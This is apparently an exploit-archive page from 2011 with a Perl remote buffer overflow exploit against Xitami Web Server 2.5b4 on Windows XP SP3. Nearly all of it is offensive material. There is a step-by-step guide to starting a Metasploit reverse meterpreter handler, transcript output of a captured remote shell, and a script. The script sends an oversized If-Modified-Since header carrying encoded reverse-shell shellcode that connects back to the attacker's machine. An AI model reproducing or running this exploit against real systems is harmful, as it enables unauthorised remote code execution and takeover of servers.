Home / exploits

PDF

Xitami Web Server 2.5b4 Remote Buffer Overflow

Posted on 04 June 2011

#!/usr/bin/perl
# -------------------------------------------------------------
# Xitami Web Server 2.5b4 - Remote Buffer Overflow Exploit.
# Exploit coded by mr.pr0n [http://s3cure.gr] .
# Many greetz to krumel for his help :-).
# -------------------------------------------------------------
# -------------------------------------------------------------
# Tested on: Xitami 2.5b4 / English Windows XP - SP3
# -------------------------------------------------------------
# ------------------------------------------------------------------------
# Bug for 2.5c2 discovered by Krystian Kloskowski (h07) <h07@interia.pl>
# -------------------------------------------------------------------------
#
# ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ *
#
# --------------------------------
# Quick user guide!
# --------------------------------
# 1st Step: Set up the listener.
# --------------------------------
#   msf > use multi/handler
#   msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_ord_tcp
#   PAYLOAD => windows/meterpreter/reverse_ord_tcp
#   msf exploit(handler) > set LHOST 192.168.178.25
#   LHOST => 192.168.178.25
#   msf exploit(handler) > exploit
#
#   [*] Started reverse handler on 192.168.178.25:4444
#   [*] Starting the payload handler...
#
# --------------------------------
# 2nd Step: Execute the exploit.
# --------------------------------
#   root@bt:~# cd Desktop/
#   root@bt:~# ./Xitami2_5b4.pl
#
#   #----[ mr.pr0n ]---------------------------------------------------------#
#   #    Target App: Xitami Web Server 2.5b4                                 #
#   #    Attack    : Remote Buffer Overflow Exploit.                         #
#   #    Target OS : Windows XP Pro English [Service Pack 3].                #
#   #---------------------------------------------[ http://s3cure.gr ]-------#
#
#   Enter your target's IP (e.g.: 192.168.0.123)
#   > 192.168.178.37
#
#   [*] Sending the evil header at: 192.168.178.37 ...
#   [*] OK, exploitation Done!
#   [*] Check please for the shell...
#
# --------------------------------
# 3nd Step: N'joy your shell :-)
# --------------------------------
#   [*] Transmitting intermediate stager for over-sized stage...(216 bytes)
#   [*] Sending stage (749056 bytes) to 192.168.178.37
#   [*] Meterpreter session 1 opened (192.168.178.25:4444 -> 192.168.178.37:1031) at 2011-05-31 02:13:33 +0300
#
#   meterpreter > sysinfo
#   Computer        : xxxxxx-xxxxxx
#   OS              : Windows XP (Build 2600, Service Pack 3).
#   Architecture    : x86
#   System Language : en_US
#   Meterpreter     : x86/win32
#   meterpreter > shell
#   Process 320 created.
#   Channel 1 created.
#   Microsoft Windows XP [Version 5.1.2600]
#   (C) Copyright 1985-2001 Microsoft Corp.
#
#   C:Xitami>
#
# ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ *
#

use IO::Socket;
print "
#----[ mr.pr0n ]---------------------------------------------------------#
";
print "#    Target App: Xitami Web Server 2.5b4                                 #
";
print "#    Attack    : Remote Buffer Overflow Exploit.                         #
";
print "#    Target OS : Windows XP Pro English [Service Pack 3].                #
";
print "#---------------------------------------------[ http://s3cure.gr ]-------#
";

print "
Enter your target's IP (e.g.: 192.168.0.123)";
print "
> ";
$target=<STDIN>;
chomp($target);

#---------------------------#
$junk       = "x41" x 72;          # 72 x "A".
$RET        = "x53x2bxabx71";       # ws2_32.dll push ESP - ret - (Windows XP SP3 - [En]).
$jmp        = "xebx22";           # JMP +0x22.
$nops       = "x90" x 100;         # 100 Nops.
#---------------------------#

# ./msfpayload win32_reverse_ord EXITFUNC=thread LHOST=192.168.178.25 LPORT=4444 R | ./msfencode -e PexAlphaNum
# [*] Using Msf::Encoder::PexAlphaNum with final size of 261 bytes

$shellcode =
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49".
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36".
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34".
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41".
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx41x33x4bx4d".
"x46x56x4bx48x43x34x42x43x4bx48x42x44x4ex30x4bx48".
"x42x55x4ex31x4bx38x44x31x4bx48x44x37x42x42x4dx4a".
"x4dx4ax50x54x43x50x48x30x4dx53x44x43x43x53x4fx45".
"x44x33x45x37x4fx4ex4bx58x4cx36x4ax50x4bx58x45x54".
"x4ex33x4bx38x4ex54x45x50x4ax47x4bx58x4ex44x4dx50".
"x4ex41x41x30x49x4ex4bx58x41x34x4ax55x41x50x4ax4e".
"x4bx48x41x57x4ex53x41x50x50x4ex43x50x49x36x4ex50".
"x43x55x4cx46x41x30x4cx36x44x30x4fx4fx42x4dx47x39".
"x4ax36x42x4cx4ax4ax44x4bx49x51x4ax36x44x50x42x50".
"x41x31x4ex35x49x58x41x4ex43x35x47x4bx4ex50x43x35".
"x41x45x47x55x41x45x4cx56x42x41x41x55x47x35x48x55".
"x4fx4fx45x4ex5a";

if ($socket = IO::Socket::INET->new
(PeerAddr => $target,
PeerPort => "80",
Proto => "TCP"))

{
$exploit  = $junk.$RET.$jmp.$nops.$shellcode;
#
#---------------------------------#
# If we send an If-Modified-Since header,
# containing an overly long string (for example our exploit)
# it may be possible to execute (remotely) a payload!!
#---------------------------------#
#
# This is the evil header! }:-)
$header =
"GET / HTTP/1.1
".
"Host: ".$target." 
".
"If-Modified-Since: p0wnp0wnb00m! "." $exploit
";
print "
[*] Sending the evil header at: $target ...
";
print $socket $header."
";
sleep(1);
close($socket);
print "[*] OK, exploitation Done!
";
print "[*] Check please the shell..

";
}

else
{
print "[-] Connection to $target failed!
";
}

 

TOP